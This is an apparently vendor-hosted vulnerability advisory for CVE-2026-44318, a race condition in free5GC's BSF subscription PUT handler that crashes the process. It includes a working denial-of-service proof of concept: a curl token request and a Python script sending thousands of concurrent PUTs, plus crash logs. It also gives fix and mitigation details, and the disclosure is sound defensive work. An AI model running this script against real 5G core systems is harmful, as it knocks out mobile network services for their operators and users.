CVE-2026-44318 is a medium-severity (CVSS 6.5) CWE-362 vulnerability in github.com/free5gc/bsf. A fix is available for github.com/free5gc/bsf — see the affected versions and patch details below.
free5GC: BSF concurrent PUT /nbsf-management/v1/subscriptions/{subId} crashes the BSF process via concurrent map read/write on Subscriptions
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44318.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/free5gc/bsfReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart.
This endpoint requires a valid nbsf-management OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS.
Details
Validated against the BSF container in the official Docker compose lab.
- Source repo tag:
v4.2.1 - Running Docker image:
free5gc/bsf:v4.2.1 - Docker validation date: 2026-03-22
- BSF endpoint:
http://10.100.200.11:8000
Read side (locked):
func (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
sub, exists := c.Subscriptions[subId]
return sub, exists
}
Unsafe write side in the create-if-absent branch of ReplaceIndividualSubcription (no Lock()):
subscription.SubId = subId
bsfContext.BsfSelf.Subscriptions[subId] = subscription
Under concurrent traffic, the Go runtime detects the unsynchronized read/write on c.Subscriptions and aborts the process. Go's concurrent map read and map write fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates.
Code evidence (paths in free5gc/bsf):
- Read side (locked):
NFs/bsf/internal/sbi/processor/subscriptions.go:81NFs/bsf/internal/context/context.go:726NFs/bsf/internal/context/context.go:730
- Unsafe write side (the create-if-absent branch in PUT, no lock):
NFs/bsf/internal/sbi/processor/subscriptions.go:111NFs/bsf/internal/sbi/processor/subscriptions.go:114
The normal locked helpers (CreateSubscription(), GetSubscription(), UpdateSubscription(), DeleteSubscription()) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch.
PoC
Reproduced end-to-end against the running BSF at http://10.100.200.11:8000.
- Obtain a valid
nbsf-managementtoken from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management'
- Send concurrent PUT requests against fresh
subIdvalues (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs):
import json, threading, urllib.request
TOKEN = "<valid_nbsf_management_jwt>"
BASE = "http://10.100.200.11:8000/nbsf-management/v1"
PAYLOAD = json.dumps({
"events": ["PCF_BINDING_CREATION"],
"notifUri": "http://127.0.0.1/cb",
"notifCorreId": "1",
"supi": "imsi-208930000000003",
}).encode()
def send_put(i, n):
url = f"{BASE}/subscriptions/race-mix-{i}-{n}"
req = urllib.request.Request(url, data=PAYLOAD, method="PUT")
req.add_header("Authorization", f"Bearer {TOKEN}")
req.add_header("Content-Type", "application/json")
urllib.request.urlopen(req, timeout=2).read()
threads = []
for i in range(64):
for n in range(50):
threads.append(threading.Thread(target=send_put, args=(i, n)))
for t in threads: t.start()
for t in threads: t.join()
- BSF container logs (
docker logs bsf) show the Go runtime fatal that terminated the process:
[INFO][BSF][Proc] Handle ReplaceIndividualSubcription
fatal error: concurrent map read and map write
github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300)
github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f
- Container state confirms exit code 2:
exited|2|0
Impact
Unsynchronized concurrent access (CWE-362) to a shared map (BsfSelf.Subscriptions), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's recover() middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's nbsf-management SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart.
Any party that holds (or can obtain) a valid nbsf-management token can:
- Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh
subIdvalues, deterministically tripping the runtime fatal and killing the BSF process. - Repeat the trigger after every restart to sustain the outage.
No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/free5gc/bsf | all versions | 1.0.2go get github.com/free5gc/bsf@v1.0.2 |
Affected Products
free5gcfree5gcDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/free5gc/bsf, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/free5gc/bsf to 1.0.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44318 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2026-44318 in your dependencies?
Find it across Go, including transitive dependencies.